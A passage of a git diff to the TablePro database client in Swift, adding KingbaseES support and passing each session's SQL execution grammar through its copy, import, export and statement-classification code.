Sendable { /// so the run may write that DDL under the target's write scope. A definition read as the /// session is runs as the session is, the way it did before scopes. internal let isStructureReadPinned: Bool + /// The target session's execution grammar, which the review script is written in. + internal let targetGrammar: SQLLexicalGrammar internal init( request: ObjectCopyRequest, @@ -232,7 +235,8 @@ internal struct ObjectCopyPlan: Sendable { definitionSteps: [ObjectCopyDefinitionStep], schemaStatements: [SyncStatement] = [], skipped: [ObjectCopySkip] = [], - isStructureReadPinned: Bool = false + isStructureReadPinned: Bool = false, + targetGrammar: SQLLexicalGrammar? = nil ) { self.request = request self.createsDatabase = createsDatabase @@ -241,6 +245,7 @@ internal struct ObjectCopyPlan: Sendable { self.schemaStatements = schemaStatements self.skipped = skipped self.isStructureReadPinned = isStructureReadPinned + self.targetGrammar = targetGrammar ?? request.target.databaseType.lexicalGrammar } /// Shown above the script, for the caveats the copy cannot do anything about: a key column the @@ -386,7 +391,7 @@ internal struct ObjectCopyPlan: Sendable { /// filled, and a user reasoning about a cascade from what they were asked to approve reached /// the opposite conclusion from what the run would do. internal var scriptText: String { - let script = SQLScriptText(databaseType: request.target.databaseType) + let script = SQLScriptText(databaseType: request.target.databaseType, grammar: targetGrammar) var lines: [String] = [] if case .newDatabase(_, let name, _) = request.destination { lines.append(String(format: String(localized: "-- Create database %@"), name)) diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift index 448133d1ca..375a845484 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift @@ -152,7 +152,10 @@ internal struct ObjectCopyPlanner { definitionSteps: definitionSteps, schemaStatements: try await buildSchemaStatements(request, namespaces: targetNamespaces), skipped: skipped, - isStructureReadPinned: isStructureReadPinned + isStructureReadPinned: isStructureReadPinned, + targetGrammar: SQLLexicalResolver.executionGrammar( + for: request.target.databaseType, connectionId: request.target.connectionId + ) ) } @@ -203,7 +206,12 @@ internal struct ObjectCopyPlanner { scope: targetScope(request, endpoint: request.target) ) { driver in guard let plugin = CompareMetadataService.pluginDriver(from: driver) else { return [] } - let scriptText = SQLScriptText(databaseType: driver.connection.type) + let scriptText = SQLScriptText( + databaseType: driver.connection.type, + grammar: SQLLexicalResolver.readings( + for: driver.connection.type, session: driver.sessionLexicalState + ).execution + ) return namespaces.flatMap { name -> [SyncStatement] in guard let sql = plugin.createSchemaStatement(name: name) else { return [] } let summary = String(format: String(localized: "Create schema %@"), name) @@ -283,7 +291,9 @@ internal struct ObjectCopyPlanner { from: request.source.databaseType, to: request.target.databaseType, sourceLanguage: PluginManager.shared.editorLanguage(for: request.source.databaseType), - targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType) + targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType), + sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState, + targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState ) { throw ObjectCopyError.refused(reason) } @@ -849,7 +859,8 @@ internal struct ObjectCopyPlanner { format: String(localized: "Every row already in %@ is removed."), table ) )] - return SQLScriptText(databaseType: databaseType).sendableStatements(sql).map { statement in + let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution + return SQLScriptText(databaseType: databaseType, grammar: grammar).sendableStatements(sql).map { statement in SyncStatement(sql: statement, objectName: table, summary: summary, hazards: hazards) } } @@ -881,7 +892,10 @@ internal struct ObjectCopyPlanner { /// engines alone, so one skip per object here costs nothing while reading every body first /// and discarding all of them costs a round trip per object. if let reason = ObjectCopyEligibility.definitionEngineRefusal( - from: request.source.databaseType, to: request.target.databaseType + from: request.source.databaseType, + to: request.target.databaseType, + sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState, + targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState ) { skipped += selections.map { ObjectCopySkip(selection: $0, reason: reason) } return [] @@ -907,7 +921,12 @@ internal struct ObjectCopyPlanner { sourceReads: sourceReads, connection: connection ) - let targetScriptText = SQLScriptText(databaseType: request.target.databaseType) + let targetScriptText = SQLScriptText( + databaseType: request.target.databaseType, + grammar: SQLLexicalResolver.executionGrammar( + for: request.target.databaseType, connectionId: request.target.connectionId + ) + ) var pending: [( selection: ObjectCopySelection, definition: String, read: RoutineSourceRead, target: ObjectCopySelection? )] = [] diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift index d70010ee22..3c3b28e2e1 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift @@ -183,7 +183,9 @@ internal final class ObjectCopySession: ObservableObject { from: source.databaseType, to: target.databaseType, sourceLanguage: PluginManager.shared.editorLanguage(for: source.databaseType), - targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType) + targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType), + sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId), + targetSession: SQLLexicalResolver.sessionState(for: target.connectionId) ) { return reason } diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift index 2834f53641..a05f015296 100644 --- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift +++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift @@ -175,6 +175,8 @@ extension DatabaseType { Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. \ Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon. """) + case "KingbaseES": + return String(localized: "Preferred tries TLS first, falls back to plain.") case _ where pluginTypeId == "MySQL": return String(localized: """ Preferred performs a 2-pass connect: tries TLS first, falls back to plain only on \ diff --git a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift index 0f0d3cc92f..3a57d99e8c 100644 --- a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift +++ b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift @@ -408,7 +408,10 @@ final class ExportDataSourceAdapter: PluginExportDataSource, @unchecked Sendable /// Through the same owner Compare & Sync saves its scripts with, so a dump ends an Oracle unit on a `/` line and /// puts a MySQL routine in a `DELIMITER` block exactly as a saved sync script does. func scriptText(for ddl: String) -> String { - SQLScriptText(databaseType: dbType).scriptText(forDriverText: ddl) + SQLScriptText( + databaseType: dbType, + grammar: SQLLexicalResolver.readings(for: dbType, session: driver.sessionLexicalState).execution + ).scriptText(forDriverText: ddl) } /// `tableType` carries the routine's own kind for a `.routine`, because `DROP FUNCTION` and diff --git a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift index f4fa5c70ea..4478e37f26 100644 --- a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift +++ b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift @@ -97,7 +97,7 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable { self.joinsTransaction = joinsTransaction self.driver = driver self.databaseType = databaseType - self.grammar = databaseType.lexicalGrammar + self.grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution self.tableEditDialect = TableEditDialect.of(databaseType) self.databaseTypeId = databaseType.rawValue self.targetTable = targetTable @@ -600,9 +600,8 @@ final class ImportDataSinkAdapter: PluginImportDataSink, @unchecked Sendable { /// `ROLLBACK TO SAVEPOINT` keeps the transaction, and the classifier already reads it as not ending one. private func fileTransactionEnd(of statement: String) -> FileTransactionEnd? { - guard CatalogChangeClassifier.effect(of: statement, databaseType: databaseType).endsTransaction else { - return nil - } + let effect = CatalogChangeClassifier.effect(of: statement, databaseType: databaseType, grammar: grammar) + guard effect.endsTransaction else { return nil } return Self.rollbackKeywords.contains(QueryClassifier.leadingKeyword(of: statement)) ? .rollback : .commit } diff --git a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift index 57a086a79f..9f88679c97 100644 --- a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift +++ b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift @@ -12,15 +12,14 @@ enum ImportTypeMapper { databaseType: DatabaseType, serverVersion: String? = nil ) -> String { - if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { + switch databaseType { + case .postgresql, .redshift, .cockroachdb, .kingbasees: return postgresType( type, jsonColumnType: PostgreSQLServerVersion.jsonColumnType( for: databaseType, serverVersion: serverVersion ) ) - } - switch databaseType { case .mysql, .mariadb, .tidb, .oceanbase: return mysqlType(type) case .sqlite: diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift index b07d3cb752..b8b6eeff3d 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift @@ -713,7 +713,7 @@ extension PluginMetadataRegistry { ] return defaults + mysqlVariantDefaults( dialect: mysqlDialect, mysqlColumnTypes: mysqlColumnTypes, idleReleaseField: mysqlIdleReleaseField - ) + ) + defaults.filter { $0.typeId == "PostgreSQL" }.flatMap { kingbaseESDefaults(postgreSQL: $0.snapshot) } } } diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift index 45728a0d4f..7e42690355 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift @@ -1,33 +1,41 @@ +// +// PluginMetadataRegistry+KingbaseESDefaults.swift +// TablePro +// + import Foundation import TableProPluginKit extension PluginMetadataRegistry { - func kingbaseESPluginDefaults() -> [(typeId: String, snapshot: PluginMetadataSnapshot)] { - guard let postgres = Self.curatedDefaults().first(where: { $0.typeId == "PostgreSQL" })?.snapshot else { - return [] - } - return [("KingbaseES", PluginMetadataSnapshot( - displayName: "KingbaseES", iconName: "postgresql-icon", defaultPort: 54_321, - requiresAuthentication: true, supportsForeignKeys: postgres.supportsForeignKeys, - supportsSchemaEditing: postgres.supportsSchemaEditing, isDownloadable: true, + // Created by initdb on V9R1C10; dbms_sql, sys and wmsys exist only in an Oracle-mode cluster. + static let kingbaseESSystemSchemaNames = [ + "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler", + "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys", + "xlog_record_read", + ] + + /// KingbaseES runs PostgreSQL's catalogs and wire protocol, so its entry is PostgreSQL's with its own identity + /// and without the cloud and Kerberos sign-in fields, which its servers do not offer. + static func kingbaseESDefaults(postgreSQL: PluginMetadataSnapshot) -> [(typeId: String, snapshot: PluginMetadataSnapshot)] { + [("KingbaseES", PluginMetadataSnapshot( + displayName: "KingbaseES", iconName: "cylinder", defaultPort: 54_321, + requiresAuthentication: true, supportsForeignKeys: postgreSQL.supportsForeignKeys, + supportsSchemaEditing: postgreSQL.supportsSchemaEditing, isDownloadable: true, primaryUrlScheme: "kingbase", parameterStyle: .dollar, - navigationModel: postgres.navigationModel, explainVariants: postgres.explainVariants, - pathFieldRole: .database, supportsHealthMonitor: postgres.supportsHealthMonitor, - urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgres.postConnectActions, + navigationModel: postgreSQL.navigationModel, explainVariants: postgreSQL.explainVariants, + pathFieldRole: .database, supportsHealthMonitor: postgreSQL.supportsHealthMonitor, + urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgreSQL.postConnectActions, brandColorHex: "#C9141E", queryLanguageName: "SQL", editorLanguage: .sql, - connectionMode: .network, supportsDatabaseSwitching: postgres.supportsDatabaseSwitching, - structureEditing: postgres.structureEditing, - capabilities: postgres.capabilities, schema: postgres.schema, editor: postgres.editor, + connectionMode: .network, supportsDatabaseSwitching: postgreSQL.supportsDatabaseSwitching, + structureEditing: postgreSQL.structureEditing, + capabilities: postgreSQL.capabilities, schema: postgreSQL.schema, editor: postgreSQL.editor, connection: PluginMetadataSnapshot.ConnectionConfig( - additionalConnectionFields: postgres.connection.additionalConnectionFields.filter { + additionalConnectionFields: postgreSQL.connection.additionalConnectionFields.filter { ["usePgpass", "connectionOptions"].contains($0.id) }, category: .relational, - tagline: postgres.connection.tagline + tagline: String(localized: "PostgreSQL and Oracle compatible SQL") ) - ).withSystemNames( - databases: postgres.schema.systemDatabaseNames, - schemas: postgres.schema.systemSchemaNames + ["sys_catalog"] - ))] + ).withSystemNames(databases: postgreSQL.schema.systemDatabaseNames, schemas: kingbaseESSystemSchemaNames))] } } diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift index 37bf1b024c..5c5b5b6f5b 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift @@ -38,7 +38,7 @@ extension PluginMetadataRegistry { etcdCompletions, redisCompletions, redisColumnTypes, d1Dialect, d1ColumnTypes ) = registryDefaultIngredients() - var defaults: [(typeId: String, snapshot: PluginMetadataSnapshot)] = [ + return [ ("MongoDB", PluginMetadataSnapshot( displayName: "MongoDB", iconName: "mongodb-icon", defaultPort: 27_017, requiresAuthentication: false, supportsForeignKeys: false, supportsSchemaEditing: true, @@ -1030,22 +1030,12 @@ extension PluginMetadataRegistry { tagline: String(localized: "Distributed SQLite by Turso") ) )), - ] - defaults += tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes) - defaults += duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes) - defaults += cloudPluginDefaults() - defaults += elasticsearchPluginDefaults() - defaults += surrealDBPluginDefaults() - defaults += kafkaPluginDefaults() - defaults += typesensePluginDefaults() - defaults += r2SQLPluginDefaults() - defaults += weaviatePluginDefaults() - defaults += hanaPluginDefaults() - defaults += firebasePluginDefaults() - defaults += bigtablePluginDefaults() - defaults += trinoPluginDefaults() - defaults += kingbaseESPluginDefaults() - return defaults + ] + tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes) + + duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes) + + cloudPluginDefaults() + elasticsearchPluginDefaults() + surrealDBPluginDefaults() + + kafkaPluginDefaults() + typesensePluginDefaults() + r2SQLPluginDefaults() + + weaviatePluginDefaults() + hanaPluginDefaults() + firebasePluginDefaults() + bigtablePluginDefaults() + + trinoPluginDefaults() } // swiftlint:enable function_body_length } diff --git a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift index c9f4e8b8dd..ae9c3c5f95 100644 --- a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift +++ b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift @@ -90,10 +90,7 @@ struct OracleDashboardProvider: ServerDashboardQueryProvider { var metrics: [DashboardMetric] = [] var firstFailure: Error? - nonisolated(nonsending) func attempt( - _ id: String, - _ body: nonisolated(nonsending) () async throws -> Void - ) async throws { + func attempt(_ id: String, _ body: () async throws -> Void) async throws { do { try await body() } catch is CancellationError { diff --git a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift index 43fabd37bd..7a13e22f1a 100644 --- a/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift +++ b/apple/TablePro/Core/ServerDashboard/Providers/PostgreSQLDashboardProvider.swift @@ -148,7 +148,8 @@ private extension PostgreSQLDashboardProvider { label: String(localized: "Uptime"), unit: "", icon: "clock", - query: "SELECT date_trunc('second', now() - pg_postmaster_start_time())::text" + // KingbaseES in Oracle mode subtracts timestamps into an Oracle interval, printed as +000000000 00:20:19. + query: "SELECT date_trunc('second', CAST(now() - pg_postmaster_start_time() AS pg_catalog.interval))::text" ), MetricDefinition( id: "active_queries", diff --git a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift index e79f232f0e..03c6fe62f4 100644 --- a/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift +++ b/apple/TablePro/Core/ServerDashboard/ServerDashboardQueryProviderFactory.swift @@ -67,7 +67,7 @@ private enum DashboardEngine { init?(_ databaseType: DatabaseType) { switch databaseType { - case .postgresql: + case .postgresql, .kingbasees: self = .postgresql case .redshift: self = .redshift diff --git a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift index fc83b10af9..d46a043edc 100644 --- a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift +++ b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift @@ -4,7 +4,6 @@ // import Foundation -import TableProPluginKit enum CellExpressionKind: Hashable, Sendable { case timestamp @@ -60,7 +59,7 @@ struct CellExpression: Hashable, Sendable { enum CellExpressionVocabulary { static func expressions(for databaseType: DatabaseType) -> [CellExpression] { switch databaseType { - case .postgresql, .pglite: postgreSQL + case .postgresql, .pglite, .kingbasees: postgreSQL case .cockroachdb: cockroachDB case .redshift: redshift case .mysql, .mariadb, .tidb, .oceanbase: mySQL @@ -78,7 +77,7 @@ enum CellExpressionVocabulary { case .bigQuery: bigQuery case .snowflake: snowflake case .trino, .presto: trino - default: SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres ? postgreSQL : [] + default: [] } } diff --git a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift index e0594f8a7b..bc761bd61d 100644 --- a/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift +++ b/apple/TablePro/Core/Services/Execution/TransactionEngineFamily.swift @@ -70,6 +70,7 @@ internal enum TransactionEngineFamily: String, Hashable, Sendable, CaseIterable "AlloyDB": .postgres, "Citus": .postgres, "Greenplum": .postgres, + "KingbaseES": .postgres, "Redshift": .redshift, "CockroachDB": .cockroach, "MySQL": .mysql, diff --git a/apple/TablePro/Core/Services/Export/ImportService.swift b/apple/TablePro/Core/Services/Export/ImportService.swift index c7b26a9aee..079b902492 100644 --- a/apple/TablePro/Core/Services/Export/ImportService.swift +++ b/apple/TablePro/Core/Services/Export/ImportService.swift @@ -97,7 +97,7 @@ final class ImportService: ObservableObject { source = SqlFileImportSource( url: url, encoding: encoding, - grammar: connection.type.lexicalGrammar, + grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id), family: TransactionEngineFamily.of(connection.type), decompressedURL: decompressedURL, ownsDecompressedFile: ownsDecompressedFile diff --git a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift index c9c235ec9b..4215ed31d6 100644 --- a/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift +++ b/apple/TablePro/Core/Services/Export/RowImportTableMaker.swift @@ -133,7 +133,10 @@ internal struct RowImportTableMaker { OperationRequest( connectionId: connection.id, databaseType: connection.type, - sql: SQLScriptText(databaseType: connection.type).script(statements), + sql: SQLScriptText( + databaseType: connection.type, + grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id) + ).script(statements), kind: clears ? .destructiveQuery : .schemaMutation, caller: .userInterface, capabilities: .interactiveUser, diff --git a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift index 223ef4e0b2..9609750904 100644 --- a/apple/TablePro/Core/Services/Query/CatalogChangeService.swift +++ b/apple/TablePro/Core/Services/Query/CatalogChangeService.swift @@ -131,7 +131,11 @@ final class CatalogChangeService { private func recordStatements(_ statements: [String], databaseType: DatabaseType, connectionId: UUID) { recordNameHazards(of: statements, databaseType: databaseType, connectionId: connectionId) - let effect = CatalogChangeClassifier.effect(ofStatements: statements, databaseType: databaseType) + let effect = CatalogChangeClassifier.effect( + ofStatements: statements, + databaseType: databaseType, + grammar: SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId) + ) var kinds = effect.kinds if effect.endsTransaction { kinds.formUnion(Self.transactionEndKinds) @@ -145,14 +149,14 @@ final class CatalogChangeService { /// chain and a drop of a name another statement just freed both land on the right table. private func recordCommittedTableEdits(of succeeded: SucceededStatements) { let connectionId = succeeded.scope.connectionId + let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId) recordNameHazards( of: DatabaseManager.startupStatements( - from: startupCommands(connectionId), databaseType: succeeded.databaseType + from: startupCommands(connectionId), databaseType: succeeded.databaseType, grammar: grammar ), databaseType: succeeded.databaseType, connectionId: connectionId ) - let grammar = SQLLexicalResolver.executionGrammar(for: succeeded.databaseType, connectionId: connectionId) var hazards = nameHazards[connectionId] ?? TableNameHazards() let edits = CommittedTableEdits.edits(in: succeeded, grammar: grammar, hazards: &hazards) nameHazards[connectionId] = hazards diff --git a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift index 2c9d318404..b5aaadfd58 100644 --- a/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift +++ b/apple/TablePro/Core/Services/Query/ExplainPlanFormatDefaults.swift @@ -13,7 +13,7 @@ import TableProPluginKit enum ExplainPlanFormatDefaults { static func format(for databaseType: DatabaseType) -> ExplainPlanFormat { switch databaseType { - case .postgresql, .pglite: + case .postgresql, .pglite, .kingbasees: return .postgresJson case .mysql, .mariadb: return .mysqlComposite diff --git a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift index 26d3ffb7e2..d6c229999e 100644 --- a/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift +++ b/apple/TablePro/Core/Utilities/SQL/CatalogChangeClassifier.swift @@ -8,13 +8,21 @@ import TableProSQLGrammar // SQL is read by SQLCatalogEffectClassifier, shared with iOS; engines that do not speak SQL are decided here. enum CatalogChangeClassifier { - static func effect(ofStatements statements: [String], databaseType: DatabaseType) -> SQLCatalogEffect { + static func effect( + ofStatements statements: [String], + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> SQLCatalogEffect { statements.reduce(SQLCatalogEffect.none) { partial, statement in - partial.union(effect(of: statement, databaseType: databaseType)) + partial.union(effect(of: statement, databaseType: databaseType, grammar: grammar)) } } - static func effect(of sql: String, databaseType: DatabaseType) -> SQLCatalogEffect { + static func effect( + of sql: String, + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> SQLCatalogEffect { let trimmed = StatementBlank.trimming(SQLLeadingComments.stripping(sql)) guard !trimmed.isEmpty else { return .none } if databaseType == .redis { @@ -27,7 +35,7 @@ enum CatalogChangeClassifier { if let request = dynamoDBRequestEffect(trimmed, databaseType: databaseType) { return request } - return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: databaseType.lexicalGrammar) + return SQLCatalogEffectClassifier.effect(of: trimmed, grammar: grammar ?? databaseType.lexicalGrammar) } // PartiQL, and an action the driver does not know, which goes out as PartiQL, take the SQL path. diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift index 262fa94ada..c179696233 100644 --- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift +++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier+PLSQL.swift @@ -16,10 +16,6 @@ import TableProSQLGrammar /// spell out and never below a write. Dynamic SQL built from variables cannot be read, which leaves it where a `CALL` /// of a stored procedure is: a write whose effect the text does not show. extension QueryClassifier { - static func runsPLSQL(_ sql: String, databaseType: DatabaseType) -> Bool { - SQLProceduralBlock.runsPLSQL(sql, grammar: databaseType.lexicalGrammar) - } - static func proceduralBlockClassification( _ trimmed: String, grammar: SQLLexicalGrammar, diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift index 14cc6a3c49..b1f770ca6e 100644 --- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift +++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift @@ -258,7 +258,10 @@ private extension QueryClassifier { options: [] ) - static let enginesWithSequencePseudoColumns: Set = [.oracle, .sapHana, .snowflake, .dameng, .mariadb] + // KingbaseES has it in Oracle mode only, and its type id cannot say which mode a server runs. + static let enginesWithSequencePseudoColumns: Set = [ + .oracle, .sapHana, .snowflake, .dameng, .mariadb, .kingbasees, + ] static func advancesSequence(_ body: String, databaseType: DatabaseType) -> Bool { let range = NSRange(body.startIndex..., in: body) diff --git a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift index 3ede0ba639..a32a845847 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift @@ -28,8 +28,13 @@ enum SQLLexicalResolver { /// The grammar a script is split with for execution on `connectionId`, with the driver's session facts applied. @MainActor static func executionGrammar(for databaseType: DatabaseType, connectionId: UUID) -> SQLLexicalGrammar { - let session = DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState - return readings(for: databaseType, session: session).execution + readings(for: databaseType, session: sessionState(for: connectionId)).execution + } + + /// What the connected driver read from its session, or `nil` while `connectionId` has none. + @MainActor + static func sessionState(for connectionId: UUID) -> PluginSessionLexicalState? { + DatabaseManager.shared.driver(for: connectionId)?.sessionLexicalState } private static func declaredGrammar(for databaseType: DatabaseType) -> SQLLexicalGrammar? { diff --git a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift index 15882e758d..70d1741469 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift @@ -232,10 +232,9 @@ internal struct SQLRowToStatementConverter { for byte in data { hex += String(format: "%02X", byte) } - if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { - return "'\\x\(hex)'::bytea" - } switch databaseType { + case .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees: + return "'\\x\(hex)'::bytea" case .mssql: return "0x\(hex)" default: diff --git a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift index 560661b8e0..a70d3f00f8 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLScriptText.swift @@ -28,9 +28,14 @@ internal struct SQLScriptText { private let grammar: SQLLexicalGrammar internal init(databaseType: DatabaseType) { + self.init(databaseType: databaseType, grammar: databaseType.lexicalGrammar) + } + + /// `grammar` is the session's execution grammar, which a server setting such as KingbaseES Oracle mode changes. + internal init(databaseType: DatabaseType, grammar: SQLLexicalGrammar) { self.databaseType = databaseType self.dialect = SqlDialect.from(databaseTypeId: databaseType.rawValue) - self.grammar = databaseType.lexicalGrammar + self.grammar = grammar } /// The statements `text` holds, each exactly as the driver receives it in one call, in order. diff --git a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift index 87daeaefb7..1f48338188 100644 --- a/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift +++ b/apple/TablePro/Models/Schema/ColumnDefaultVocabulary.swift @@ -7,8 +7,8 @@ import Foundation /// a statement the server rejects. /// /// Curated in the app and keyed by database type id. It cannot be keyed by plugin: MySQL and MariaDB -/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB and PGlite -/// share one, and only two of them have `gen_random_uuid()`. +/// share one and spell an expression default differently; PostgreSQL, Redshift, CockroachDB, PGlite and +/// KingbaseES share one, and Redshift and KingbaseES have no `gen_random_uuid()`. /// /// What belongs here is the vocabulary, not the syntax. MySQL takes a `TEXT` or `JSON` default only in /// parentheses whatever the value is, so that parenthesising is the MySQL driver's job at the point it @@ -36,10 +36,11 @@ internal enum ColumnDefaultVocabulary { } /// Oracle treats a zero-length character value as null, so `DEFAULT ''` and `DEFAULT NULL` are the - /// same statement there and offering both would be a lie. Dameng follows Oracle. + /// same statement there and offering both would be a lie. Dameng follows Oracle, and so does KingbaseES + /// in Oracle mode, which its type id cannot tell from PostgreSQL mode. private static func offersEmptyString(_ databaseType: DatabaseType) -> Bool { switch databaseType { - case .oracle, .dameng: false + case .oracle, .dameng, .kingbasees: false default: true } } @@ -52,6 +53,8 @@ internal enum ColumnDefaultVocabulary { return ["CURRENT_TIMESTAMP", "uuid()", "curdate()"] case .postgresql, .pglite: return ["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "gen_random_uuid()", "true", "false"] + case .kingbasees: + return 